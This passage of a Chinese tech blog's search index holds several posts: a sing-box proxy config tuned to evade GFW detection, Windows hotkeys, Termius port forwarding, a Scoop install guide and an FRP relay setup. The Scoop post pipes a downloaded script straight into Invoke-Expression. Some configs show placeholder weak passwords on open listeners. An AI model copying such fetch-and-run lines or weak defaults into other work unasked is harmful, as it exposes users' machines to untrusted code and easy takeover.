，并且可以减少代理配置面。毕竟 NAS 还是稳定性最重要，我不打算拿来当旁路由使用。 ","date":"2026-01-15","heading":"","objectID":"/posts/sing-box/:0:0","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#"},{"categories":["折腾"],"collections":null,"content":"config.json 注意 我使用版本是1.12.16，因为sing-box每个版本的配置文件都会变，其他版本会不适用。 创建配置文件/etc/sing-box/config.json { \"log\": { \"disabled\": false, \"level\": \"info\", \"timestamp\": true }, \"experimental\": { \"clash_api\": { \"external_controller\": \"0.0.0.0:9090\", \"external_ui\": \"ui\", \"secret\": \"password\", // 控制台连接密钥，建议修改 \"default_mode\": \"Rule\" // 默认分流模式 } }, \"dns\": { \"servers\": [ { \"tag\": \"remote\", \"type\": \"https\", \"server\": \"1.1.1.1\", \"detour\": \"Available\" // 远程解析走代理 }, { \"tag\": \"local\", \"type\": \"https\", \"server\": \"223.5.5.5\" // 国内解析走直连 } ], \"rules\": [ { \"clash_mode\": \"Proxy\", \"action\": \"route\", \"server\": \"remote\" }, { \"clash_mode\": \"Direct\", \"action\": \"route\", \"server\": \"local\" }, { \"rule_set\": [\"geosite-cn\"], \"action\": \"route\", \"server\": \"local\" }, { \"rule_set\": [\"category-ads-all\"], \"action\": \"reject\" // 广告拦截 } ], \"strategy\": \"ipv4_only\" }, \"inbounds\": [ { \"type\": \"mixed\", \"tag\": \"mixed-in\", \"listen\": \"0.0.0.0\", // 允许 Docker 容器及局域网访问代理端口 \"listen_port\": 2333, // 混合代理端口（HTTP/SOCKS） \"sniff\": true, // 开启流量嗅探，用于识别域名 \"sniff_override_destination\": true // 强制将嗅探到的域名作为目标，防止 DNS 污染 }, { \"type\": \"dns\", \"tag\": \"dns-in\", \"listen\": \"127.0.0.1\", \"listen_port\": 53 // 劫持本地 53 端口流量到内置 DNS 引擎 } ], \"outbounds\": [ { \"type\": \"selector\", \"tag\": \"Available\", \"outbounds\": [ \"Reality-Out\", \"Hy2-Out\" ], \"default\": \"Reality-Out\" // 默认使用的出站节点 }, { \"type\": \"vless\", \"tag\": \"Reality-Out\", \"server\": \"your_vps_ip\", // 填入 VPS 的 IP 地址 \"server_port\": 8881, // 填入 VPS 的端口 \"uuid\": \"your_uuid\", // 填入 UUID \"flow\": \"xtls-rprx-vision\", \"tls\": { \"enabled\": true, \"server_name\": \"your_sni\", // SNI \"utls\": { \"enabled\": true, \"fingerprint\": \"firefox\" // 使用 Firefox 指纹，昨天看到消息，使用chrome指纹 uTLS 数据包填充缺失漏洞可被GFW利用高效识别代理流量 }, \"reality\": { \"enabled\": true, \"public_key\": \"your_public_key\", // 填入 Reality 公钥 \"short_id\": \"\" // 填入 Short ID (如果有) } }, \"domain_resolver\": \"local\" // 关键：使用本地 DNS 解析服务器 IP 避免解析回环 }, { \"type\": \"hysteria2\", \"tag\": \"Hy2-Out\", \"server\": \"your_vps_ip\", \"server_port\": 443, \"password\": \"your_password\", // Hysteria2 节点连接密码 \"up_mbps\": 30, // 根据你的上行宽带填写 \"down_mbps\": 100, // 根据你的下行宽带填写 \"tls\": { \"enabled\": true, \"server_name\": \"your_sni\", \"insecure\": false, // 正规证书填 false，自签名填 true \"utls\": { \"enabled\": true, \"fingerprint\": \"firefox\" } }, \"domain_resolver\": \"local\" }, { \"type\": \"direct\", \"tag\": \"direct\" } ], \"route\": { \"auto_detect_interface\": true, // 自动检测出口网卡，防止流量回环 \"default_domain_resolver\": \"local\", // 默认域名解析器 \"rules\": [ { \"protocol\": \"dns\", \"action\": \"hijack-dns\" // 劫持所有 DNS 流量 }, { \"ip_is_private\": true, // 内网 IP 直接连接 \"action\": \"route\", \"outbound\": \"direct\" }, { \"rule_set\": [\"category-ads-all\"], \"action\": \"reject\" }, { \"rule_set\": [\"geosite-cn\"], // 中国站点直连 \"action\": \"route\", \"outbound\": \"direct\" }, { \"clash_mode\": \"Proxy\", // 强制代理模式下的路由 \"action\": \"route\", \"outbound\": \"Available\" }, { \"clash_mode\": \"Direct\", \"action\": \"route\", \"outbound\": \"direct\" } ], \"rule_set\": [ { \"tag\": \"geosite-cn\", \"type\": \"remote\", \"format\": \"binary\", \"url\": \"https://fastly.jsdelivr.net/gh/SagerNet/sing-geosite@rule-set/geosite-cn.srs\", \"download_detour\": \"direct\" }, { \"tag\": \"category-ads-all\", \"type\": \"remote\", \"format\": \"binary\", \"url\": \"https://fastly.jsdelivr.net/gh/SagerNet/sing-geosite@rule-set/geosite-category-ads-all.srs\", \"download_detour\": \"direct\" } ] } } 填好后，使用sing-box check -c /etc/sing-box/config.json检查JSON是否有错。 systemctl restart sing-box.service，加载配置。 systemctl status sing-box，查看服务是否存活。 journalctl -u sing-box -f，查看实时日志。 ","date":"2026-01-15","heading":"config.json","objectID":"/posts/sing-box/:1:0","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#configjson"},{"categories":["折腾"],"collections":null,"content":"配置 systemd cp sing-box /usr/local/bin/ chmod +x /usr/local/bin/sing-box sudo vim /etc/systemd/system/sing-box.service [Unit] Description=sing-box service Documentation=https://sing-box.sagernet.org After=network.target nss-lookup.target [Service] CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW ExecStart=/usr/local/bin/sing-box run -c /etc/sing-box/config.json Restart=on-failure RestartSec=18s LimitNOFILE= infinity [Install] WantedBy=multi-user.target 启动服务 sudo systemctl daemon-reload sudo systemctl enable sing-box sudo systemctl start sing-box ","date":"2026-01-15","heading":"配置 systemd","objectID":"/posts/sing-box/:2:0","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#配置-systemd"},{"categories":["折腾"],"collections":null,"content":"使用 ","date":"2026-01-15","heading":"使用","objectID":"/posts/sing-box/:3:0","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#使用"},{"categories":["折腾"],"collections":null,"content":"docker 容器 docker-compose.yml 里面添加环境变量 environment: - HTTP_PROXY=http://192.168.200.74:2333 - HTTPS_PROXY=http://192.168.200.74:2333 ","date":"2026-01-15","heading":"docker 容器","objectID":"/posts/sing-box/:3:1","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#docker-容器"},{"categories":["折腾"],"collections":null,"content":"终端使用 alias proxyon='export http_proxy=\"http://127.0.0.1:2333\"; export https_proxy=\"http://127.0.0.1:2333\"; export all_proxy=\"socks5://127.0.0.1:2333\"; echo \"Proxy ON:127.0.0.1:2333\"' alias proxyoff='unset http_proxy; unset https_proxy; unset all_proxy; echo \"Proxy OFF\"' source ~/.bashrc 加载。 后面就可以通过 proxyon使用代理，proxyoff关闭代理了。 ","date":"2026-01-15","heading":"终端使用","objectID":"/posts/sing-box/:3:2","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#终端使用"},{"categories":["折腾"],"collections":null,"content":"切换节点 MetaCubeXD yacd 建议使用第一个面板，第二个刷新有点问题。 如果不想使用在线面板可以下载一个 UI放在 /etc/sing-box/ 目录下。 ","date":"2026-01-15","heading":"切换节点","objectID":"/posts/sing-box/:4:0","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#切换节点"},{"categories":["折腾"],"collections":null,"content":"参考 强迫症专属 sing-box 配置模板（更新至 1.12 版本） | Blog Rewired 🍀 sing-box 基础教程：sing-box 的配置方法和使用教程 · 云原生实验室 sing-box配置详解 |技术艺术 后面发现 shell crash 已经支持 sing-box 内核了，还是我懂得太少了。 电脑使用 GUI.For.SingBox 可以在GUI快速编辑配置文件，然后导出。 果然觉得麻烦的问题大概已经有人给出了方案，只是我不知道而已。。。 ","date":"2026-01-15","heading":"参考","objectID":"/posts/sing-box/:5:0","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/#参考"},{"categories":["学习"],"collections":null,"content":"虽然用了很久键盘，却一直没用系统的学习一些快捷键。 摘要 虽然用了很久键盘，却一直没用系统的学习一些快捷键。 最近有一个学习小组任务是需要刷两百份调查问卷，找到了一个油猴脚本。它可以快速帮我填完调查问卷，在我点击提交的时候自动刷新。 遇到了这样的问题:刷新后页面是处于顶部，但是提交按钮是在底部，如何快速跳转到底部呢？我想，应该设计有一个快捷键，可以快速跳到页面底部。 然后发现了跳转底部按键是 end 在是我一直忽略的键盘功能键区。 我想，应该还有很多我还不知道的快捷键，可以提升效率的。然后就有了这一篇文章。 ","date":"2026-01-14","heading":"","objectID":"/posts/windows-hotkey/:0:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#"},{"categories":["学习"],"collections":null,"content":"功能按键区 PgUp PgDn ，是 pageup 和 pagedown 的意思，分别对应向上翻页，向下翻页的功能。 home end，分别是跳转到页面顶部，页面底部的按键。 delete 键，删除键，也可以鼠标点击文件后，点击 delete 键可以移动到回收站中。 insert 键，插入键。很少用，文本编辑中如果发现输入吞后面的字多半是误触了 insert 键位，再点击一次关闭即可。 ","date":"2026-01-14","heading":"功能按键区","objectID":"/posts/windows-hotkey/:1:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#功能按键区"},{"categories":["学习"],"collections":null,"content":"Control 键 Control 搭配一些其他按键实现一些快捷键功能。大多数都是用的比较多比较熟悉的。 control + ⬅️➡️，按词跳转。 control + c，复制，用的最多的一个快捷键（）。 control + v，粘贴。 control + x，剪切。 control + f，搜索。 control + s，保存。 control + a，全选。 control + z，撤销。 control + y，恢复撤销。 control + w，关闭当前标签。 control + t ，打开一个标签页。 control + shift + t ，恢复关闭的标签页。 control + tab，应用内切换页面。 ","date":"2026-01-14","heading":"Control 键","objectID":"/posts/windows-hotkey/:2:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#control-键"},{"categories":["学习"],"collections":null,"content":"Shift 键 Shift 键的核心是选择。 shift + ⬆️⬇️⬅️➡️，选中文本。 shift + control + ⬅️➡️，按词选中。 shift + home or end，选中当前行到行首 or 行尾。 control + shift + home or end，选中当前光标到页面顶部 or 底部。 ","date":"2026-01-14","heading":"Shift 键","objectID":"/posts/windows-hotkey/:3:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#shift-键"},{"categories":["学习"],"collections":null,"content":"Win 键 win + d，显示桌面。 win + e，打开 我的电脑 。 win + l，锁定电脑。 ","date":"2026-01-14","heading":"Win 键","objectID":"/posts/windows-hotkey/:4:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#win-键"},{"categories":["学习"],"collections":null,"content":"Fn 键 f1 ，几乎打开任何页面的 help 界面。 f2 ，文件重命名。 f5 ，刷新页面。control + f5 强制刷新浏览器界面。 f11 ，全屏 or 退出全屏。 f3 ，配合 control + f ，功能是查找下一个。 ","date":"2026-01-14","heading":"Fn 键","objectID":"/posts/windows-hotkey/:5:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#fn-键"},{"categories":["学习"],"collections":null,"content":"记在最后 tab 键可以选中不同的按钮。shift + tab ，跳到上一个选中的按钮。 键盘自带的 f功能键，比如说我的键盘 f5 是音乐图标。 使用 fn+f5 的话是默认的 Windows 播放器打开，但是如果把系统默认打开 mp3 应用改成 Spotify，那么我的 fn+ f5 就打开的是 Spotify 了。 ","date":"2026-01-14","heading":"记在最后","objectID":"/posts/windows-hotkey/:6:0","tags":["快捷键"],"title":"Windows的一些快捷键","uri":"/posts/windows-hotkey/#记在最后"},{"categories":["应用"],"collections":null,"content":"一款 ssh 客户端和终端管理工具","date":"2026-01-14","objectID":"/posts/termius/","tags":["Termius"],"title":"Termius","uri":"/posts/termius/"},{"categories":["应用"],"collections":null,"content":" Termius 是一款 ssh 客户端和终端管理工具 为什么突然想介绍一下 Termius 呢？因为今天用了端口转发功能，发现真的很实用。 下面安利一下这个软件，说一下它的优缺点。 ","date":"2026-01-14","heading":"","objectID":"/posts/termius/:0:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#"},{"categories":["应用"],"collections":null,"content":"端口转发 既然写的契机是端口转发，那就从端口转发写起。 之前我使用带 web 管理面板的服务都比较谨慎，毕竟这意味着攻击面更加广了。 如果不得不用怎么办？那就不直接映射到公网，而是用 web 服务器反代出去。然后用 Cloudflare 的 CDN ，搭配上 Zero Trust 强制访问必须通过邮箱验证。听起来是不是就很麻烦了。而且这也不是万全之策。 有一下三种端口转发方式： local 将远程服务器上的端口映射到本地机器的端口。 远程服务器的端口不需要映射到公网。 配置： Local Port: 8080（本地电脑用的端口） Remote Host: localhost（或 127.0.0.1） Remote Port: 5000（服务器上那个没公开的端口） 使用场景是，使用浏览器访问 http://localhost:8080，实际看到的是服务器 5000 端口的内容。 remote 将本机的端口映射到服务器上的端口。也就是说，将没有公网IP 访问的服务，变成能够暂时能够可以公网IP 访问。 配置： Remote Port: 9000 Local Host: localhost Local Port: 80 设置后，任何人访问该服务器的 9000 端口，流量都会被转发到本地的 80 端口。 dynamic 建立一个 SOCKS 代理服务器。 如果你能连上一台服务器，而该服务器能访问某个特定网络，你可以通过它作为代理。 不需要指定具体映射哪个端口，而是所有流量都可以通过这个通道走。 配置： Local Port: 1080 系统的代理设置里填入 SOCKS5 代理 127.0.0.1:1080。 这意味着一些不需要经常访问的服务，偶尔需要访问 端口的web 面板配置，完全不用将端口映射到公网，使用端口转发管理就行了，十分的优雅安全。 ","date":"2026-01-14","heading":"端口转发","objectID":"/posts/termius/:1:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#端口转发"},{"categories":["应用"],"collections":null,"content":"密钥管理 很多 ssh 客户端能够将私钥保存管理起来，但是如果有一台新的服务器想要配置密钥，并且使用已有的密钥，一般来说就需要登录到已有密钥对应的服务器，将里面的公钥复制出来，然后到新的服务器对应的目录粘贴。 Termius 却能够完全自动化完成以上流程。 选择私钥（或者有一键生成的功能），选择行的服务器，选择将密钥导入到服务器，这时候服务器的 ~/.ssh/authorized_keys 目录就放着生成好的公钥了。 ","date":"2026-01-14","heading":"密钥管理","objectID":"/posts/termius/:2:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#密钥管理"},{"categories":["应用"],"collections":null,"content":"agent forwarding 方便在登录 VPS 后，直接利用本地 Keychain 通过 GitHub 等平台的 SSH 验证，无需在GitHub上重复存放私钥。 ","date":"2026-01-14","heading":"agent forwarding","objectID":"/posts/termius/:3:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#agent-forwarding"},{"categories":["应用"],"collections":null,"content":"AI 补全提示 订阅后才能使用的功能，这个我一般是关着的，但相较于其他的 ssh 管理软件，这算是一个优点吧。 ","date":"2026-01-14","heading":"AI 补全提示","objectID":"/posts/termius/:4:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#ai-补全提示"},{"categories":["应用"],"collections":null,"content":"代码片段 可以设置一些常用的命令。这个功能我也用的不多。对于初学者来说，拿来学习下也是不错的。 ","date":"2026-01-14","heading":"代码片段","objectID":"/posts/termius/:5:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#代码片段"},{"categories":["应用"],"collections":null,"content":"云同步 这是个订阅后才有的功能，在手机、平板、多台电脑之间实时同步所有服务器连接信息、身份凭据和 SSH 密钥。 ","date":"2026-01-14","heading":"云同步","objectID":"/posts/termius/:6:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#云同步"},{"categories":["应用"],"collections":null,"content":"缺点 收费，这个可以GitHub学生包认证白嫖一年。或者买微软土耳其区，一年好像才二十多吧。 官方目前不支持中文。几个月前官方之前弄了一次投票最想要的功能，呼声最高的是添加中文，但是现在还是没有中文。可以通过 GitHub 的一个项目修改：GitHub - ArcSurge/Termius-Pro-zh_CN: Termius汉化 和 finalshell 相比，没有显示实时负载，也没有类似于 Windows的资源管理器 UI 目录。我不是很看重这个功能。 ","date":"2026-01-14","heading":"缺点","objectID":"/posts/termius/:7:0","tags":["Termius"],"title":"Termius","uri":"/posts/termius/#缺点"},{"categories":["应用"],"collections":null,"content":"一款在Windows中的包管理器？让你优雅地在Windows中管理apps。","date":"2026-01-14","objectID":"/posts/scoop/","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/"},{"categories":["应用"],"collections":null,"content":"scoop是什么 官方wiki 是这样写的，但是可以将其比作类似于 apt aur 的包管理器 Scoop is an installer The goal of Scoop is to let you use Unix-y programs in a normal Windows environment Scoop 是一个安装程序 Scoop 的目标是让你能在普通 Windows 环境中使用 Unix 程序 ","date":"2026-01-14","heading":"scoop是什么","objectID":"/posts/scoop/:1:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#scoop是什么"},{"categories":["应用"],"collections":null,"content":"shim 垫片 在 Windows 环境中， shim 垫片 是 Scoop 实现其设计哲学的技术手段。 在传统的 Windows 软件安装中，为了在命令行直接运行程序（例如输入 python），通常有两种做法： Windows的普通做法：将软件的安装路径（如 C:\\Software\\Python310）直接添加到系统的环境变量 Path 中。 问题：如果安装了 100 个软件，Path 变量会变得臃肿不堪，且容易发生版本冲突。 Scoop 的做法： 它不修改你的 Path 变量，而是只在 Path 中保留一个统一的目录（通常是 ~/scoop/shims）。在这个目录下，Scoop 为每个软件创建了一个同名的微型 .exe 文件，这就是垫片。 graph TD User([用户输入 picgo]) --\u003e Shell[终端 PowerShell/CMD] Shell --\u003e PathLookup{在 Path 变量中搜索} PathLookup --\u003e|仅需检查一个目录| ShimsDir[C:\\Users\\EMANON\\scoop\\shims] ShimsDir --\u003e|找到垫片| ShimExe[picgo.exe 垫片程序] subgraph Scoop_Internal [Scoop 内部逻辑] ShimExe --\u003e|读取配置| ShimConfig[picgo.shim] ShimConfig --\u003e|指向当前激活版本| CurrentLink[.../apps/picgo/current/PicGo.exe] end CurrentLink --\u003e|透明启动| RealApp[运行 PicGo 真实程序] RealApp --\u003e Result([程序执行结果]) current 目录: 这是 Scoop 实现环境变量中转的神来之笔。 Scoop 不会直接让垫片指向 apps/picgo/2.4.3/PicGo.exe。 它会创建一个名为 current 的软链接，指向当前激活的版本文件夹。 垫片 -\u0026gt; current -\u0026gt; 真实程序。当升级软件时，Scoop 只需要把 current 重新指向 2.4.4 文件夹，而无需修改任何垫片或环境变量。 graph LR subgraph User_Space [环境变量层] Path[System Path] --- Shim[picgo.exe Shim] end subgraph Logic_Layer [逻辑映射层] Shim -.-\u003e Current((current 软链接)) end subgraph Version_Storage [物理存储层] Current ==\u003e V243[Version 2.4.3 文件夹] Current -.-\u003e V250[Version 2.5.0-beta 文件夹] end style V243 fill:#f9f,stroke:#333,stroke-width:2px style V250 fill:#bbf,stroke:#333,stroke-width:1px ","date":"2026-01-14","heading":"shim 垫片","objectID":"/posts/scoop/:2:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#shim-垫片"},{"categories":["应用"],"collections":null,"content":"安装 Scoop 官网有介绍，在终端运行以下两条命令就可以： Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression ","date":"2026-01-14","heading":"安装","objectID":"/posts/scoop/:3:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#安装"},{"categories":["应用"],"collections":null,"content":"优点 环境纯净：不修改注册表，不污染 Windows 环境。删除应用时，直接删除文件夹即可，不留注册表垃圾。 安装自动化：安装应用时无需手动“下一步”，Scoop 社区已经写好了安装脚本，一键执行。 更新方便：可以方便地手动更新所有应用到最新版。在我看来，Windows 上的应用多更新利大于弊，能避免很多问题（比如我最近遇到 v2ray 旧版被ufw识别的风险，以及旧版 QQ 发文件对方看不到等问题）。 数据持久化：使用 uninstall 命令卸载应用会保留数据，但是可以使用 scoop uninstall --purge \u0026lt;app_name\u0026gt; 命令完全删除。 快速切换应用版本。 不用担心下载到盗版 steam。 在官方wiki 中，scoop 的设计目标是让人快速工作，而不是浪费时间在寻找软件、查看说明、安装上面。 ","date":"2026-01-14","heading":"优点","objectID":"/posts/scoop/:4:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#优点"},{"categories":["应用"],"collections":null,"content":"设置代理 scoop config proxy 127.0.0.1:7890 # 如果是使用clash系，就是7890端口，如果是 v2rayn 就是 10808 端口 不设置代理也行，需要设置镜像站，但是这样更新就会慢点。具体可以看文末 ","date":"2026-01-14","heading":"设置代理","objectID":"/posts/scoop/:5:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#设置代理"},{"categories":["应用"],"collections":null,"content":"我用 bucket： main https://github.com/ScoopInstaller/Main.git 2025/12/26 12:32:43 1412 # 自带的 extras https://github.com/ScoopInstaller/Extras 2025/12/26 12:32:11 2235 # 必装，覆盖大部分日用软件 nerd-fonts https://github.com/matthewjberger/scoop-nerd-fonts 2025/12/15 17:39:10 367 # 安装字体 java https://github.com/ScoopInstaller/Java 2025/12/5 4:25:04 324 # 安装Java games https://github.com/Calinou/scoop-games 2025/12/26 12:31:57 370 # 安装 steam，epic dorado https://github.com/chawyehsu/dorado 2025/12/26 8:18:09 265 # 安装国产软件 lemon https://github.com/hoilc/scoop-lemon 2025/12/26 11:59:05 2321 # 包含了很多的GitHub小工具，小项目 至于怎么导入呢？点击bucket的链接，里面会有导入说明的。 ","date":"2026-01-14","heading":"我用 bucket：","objectID":"/posts/scoop/:6:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#我用-bucket"},{"categories":["应用"],"collections":null,"content":"我用的推荐必装的软件 sudo 一些软件安装需要调用管理员权限，安装后可以像Linux一样使用而不是额外开一个管理员终端。 scoop-search 优化搜索体验，scoop 自带的搜索太慢了，而且显示信息太少。scoop-search 可以提高搜索速度，并且显示软件的历史版本。 安装后，将 hook 命令加入 .PROFILE 文件就可以替代原来的scoop 搜索了。 aria2 多线程下载，优化scoop 的下载速度。 安装后使用scoop config aria2-enabled true命令开启 aria2。 scoop-completion 补全 scoop 的命令。 ","date":"2026-01-14","heading":"我用的推荐必装的软件","objectID":"/posts/scoop/:7:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#我用的推荐必装的软件"},{"categories":["应用"],"collections":null,"content":"主要命令 alias Manage scoop aliases 管理 Scoop 别名 bucket Manage Scoop buckets 管理 Scoop 软件仓库（Bucket） cache Show or clear the download cache 显示或清理下载缓存 cat Show content of specified manifest. If available, `bat` will be used to pretty-print the JSON. 显示指定清单的内容。如果系统安装了 `bat`，将用于美化 JSON 输出。 checkup Check for potential problems 检查潜在的系统问题 cleanup Cleanup apps by removing old versions 通过移除旧版本来清理已安装的应用 config Get or set configuration values 获取或设置配置值 create Create a custom app manifest 创建自定义应用清单 depends List dependencies for an app, in the order they'll be installed 按安装顺序列出应用的依赖项 download Download apps in the cache folder and verify hashes 下载应用至缓存目录并校验哈希值 export Exports installed apps, buckets (and optionally configs) in JSON format 以 JSON 格式导出已安装的应用、仓库（及可选的配置） help Show help for a command 显示命令的帮助信息 hold Hold an app to disable updates 锁定应用以禁用更新 home Opens the app homepage 打开应用的主页 import Imports apps, buckets and configs from a Scoopfile in JSON format 从 JSON 格式的 Scoopfile 导入应用、仓库和配置 info Display information about an app 显示关于应用的详细信息 install Install apps 安装应用 list List installed apps 列出已安装的应用 prefix Returns the path to the specified app 返回指定应用的安装路径 reset Reset an app to resolve conflicts 重置应用以解决冲突 search Search available apps 搜索可用的应用 shim Manipulate Scoop shims 操作 Scoop 的垫片程序 status Show status and check for new app versions 查看状态并检查应用是否有新版本 unhold Unhold an app to enable updates 解锁应用以启用更新 uninstall Uninstall an app 卸载应用 update Update apps, or Scoop itself 更新应用或 Scoop 自身 virustotal Look for app's hash or url on virustotal.com 在 virustotal.com 上查询应用的哈希值或链接 which Locate a shim/executable (similar to 'which' on Linux) 定位垫片程序或可执行文件（类似于 Linux 中的 which 命令） 这些命令看着多，其实也不需要怎么记。当真正用得到的时候，就不会忘记了。所以最好对功能有个大概的了解。 新手只要会这几个命令就好了 scoop search \u0026lt;app\u0026gt;: 寻找软件。 scoop install \u0026lt;app\u0026gt;: 安装软件。 scoop update *: 一键更新所有软件及 Scoop 本身。 scoop checkup: 当运行异常时，这是排查环境问题的首选。 scoop reset \u0026lt;app\u0026gt;：注册表异常或者安装时未正常退出导致的应用异常。 scoop uninstall \u0026lt;app\u0026gt;:卸载应用，注意这不会删除所有有关的包（这样设计以便快速回退），如果需要删除缓存需要使用 scoop cleanup \u0026lt;app\u0026gt;。 还有就是要注意应用安装完成后，一些软件需要修改注册表的（关联文件类型启动，右键菜单），会给一串命令需要管理员身份手动运行。 还有一些软件依赖其他的驱动，不能直接安装的，需要你在对应路径安装对应 exe。 有时候没注意到命令就关闭可命令行，其实也不用着急，输入 scoop info app-name ，就可以看到脚本的note 了。 ","date":"2026-01-14","heading":"主要命令","objectID":"/posts/scoop/:8:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#主要命令"},{"categories":["应用"],"collections":null,"content":"吐槽一下 我使用scoop 安装了picgo 这个图床软件，遇到了一些问题。 旧版的 scoop，无法在线安装插件。 新版的 scoop 却是测试版（已经测试了快一年了）。但是 bucket却不会收录测试版的应用。所以自己 fork 后push 也不会被合并。 之前下载的 Epic Games 启动也有点问题。 有几种办法： 自己下载安装包下载（其实也不费事）。 使用 scoop create \u0026lt;app-url\u0026gt;自己写一个JSON，然后 scoop install app.json。 创建一个自己的bucket。 ","date":"2026-01-14","heading":"吐槽一下","objectID":"/posts/scoop/:9:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#吐槽一下"},{"categories":["应用"],"collections":null,"content":"参考 Scoop——也许是Windows平台最好用的软件（包）管理器 Home · ScoopInstaller/Scoop Wiki · GitHub ","date":"2026-01-14","heading":"参考","objectID":"/posts/scoop/:10:0","tags":["scoop"],"title":"Scoop","uri":"/posts/scoop/#参考"},{"categories":["折腾"],"collections":null,"content":"放假回家想和朋友联机，但是双方网络都是对称型NAT，只能通过FRP 中转流量。","date":"2026-01-14","objectID":"/posts/frp-game-connect/","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/"},{"categories":["折腾"],"collections":null,"content":" 摘要 放假回家想和朋友联机，但是双方网络都是对称型NAT，只能通过FRP 中转流量。 ","date":"2026-01-14","heading":"","objectID":"/posts/frp-game-connect/:0:0","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#"},{"categories":["折腾"],"collections":null,"content":"NAT 检测 可以使用NAT Checker这个网站查看自己和朋友的NAT类型。 打洞成功的最重要的一点是，其中一方不是 对称型NAT。如果能打洞自然是打洞更好。 如果双方都是 对称型NAT ，就只能通过 VPS中转流量了。这就用到了FRP。 ","date":"2026-01-14","heading":"NAT 检测","objectID":"/posts/frp-game-connect/:1:0","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#nat-检测"},{"categories":["折腾"],"collections":null,"content":"FRP ","date":"2026-01-14","heading":"FRP","objectID":"/posts/frp-game-connect/:2:0","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#frp"},{"categories":["折腾"],"collections":null,"content":"frp 是什么？ frp 是一款高性能的反向代理应用，专注于内网穿透。它支持多种协议，包括 TCP、UDP、HTTP、HTTPS 等，并且具备 P2P 通信功能。使用 frp，您可以安全、便捷地将内网服务暴露到公网，通过拥有公网 IP 的节点进行中转。 ","date":"2026-01-14","heading":"frp 是什么？","objectID":"/posts/frp-game-connect/:3:0","tags":["frp","联机","组网"],"title":"Frp简单游戏联机","uri":"/posts/frp-game-connect/#frp-是什么"},{"categories":["折腾"],"collections":null,"content":"服务端 服务器选择和设置 最好选择国内的 VPS ，看了下论坛，推荐的有 腾讯云的锐驰。 一开始我用的 新加坡的VPS。虽然我和朋友都是移动的宽带，这个新加坡的VPS 国内移动延迟才50 左右，但是使用下来有严重的丢包问题，联机起来经常掉线。 然后就找了另一个朋友借了台阿里云深圳的VPS，使用起来就没问题了。 国内面板有防火墙需要设置下规则 入站允许： 7000/tcp and udp 6000/tcp and udp 出站允许： 允许所有 TCP出站 允许所有 UDP 出站 基础配置 下载：wget 对应的链接：Releases · fatedier/frp。一般是 Linux amd64 版本。 解压：tar -zxvf \u0026lt;fielname\u0026gt;。 进入解压后的文件夹，编辑 frps.toml。 auth.token 换复杂一点。 不需要 web面板 可以把最后四行删掉。 如果使用我的配置需要使用端口转发访问。 如果嫌麻烦可以修改webServer.addr = \u0026quot;127.0.0.1\u0026quot; 这一行为webServer.addr = \u0026quot;0.0.0.0\u0026quot;，但是需要最好将 webServer.password 设置成强口令。 # frps.toml bindPort = 7000 kcpBindPort = 7000 auth.method = \"token\" auth.token = \"\" webServer.addr = \"127.0.0.1\" webServer.port = 7500 webServer.user = \"admin\" webServer.password = \"admin\" 运行 ./frps -c ./frps.toml，显示以下信息则启动成功。 2026-01-13 22:14:03.576 [I] [frps/root.go:115] frps uses config file: ./frps.toml 2026-01-13 22:14:03.675 [I] [server/service.go:241] frps tcp listen on 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [server/service.go:250] frps kcp listen on udp 0.0.0.0:7000 2026-01-13 22:14:03.676 [I] [frps/root.go:124] frps started successfully 2026-01-13 22:14:03.676 [I] [server/service.go:358] dashboard listen on 127.0.0.1:7500 设置systemd 自启动 vim /etc/systemd/system/frps.service 写入以下信息并保存 [Unit] Description=FRP Server Service After=network.target [Service] Type=simple DynamicUser=yes Restart=always RestartSec=5s ExecStart=/opt/frp_0.66.0_linux_amd64/frps -c /opt/frp_0.66.0_linux_amd64/frps.toml LimitNOFILE=1048576 [Install] 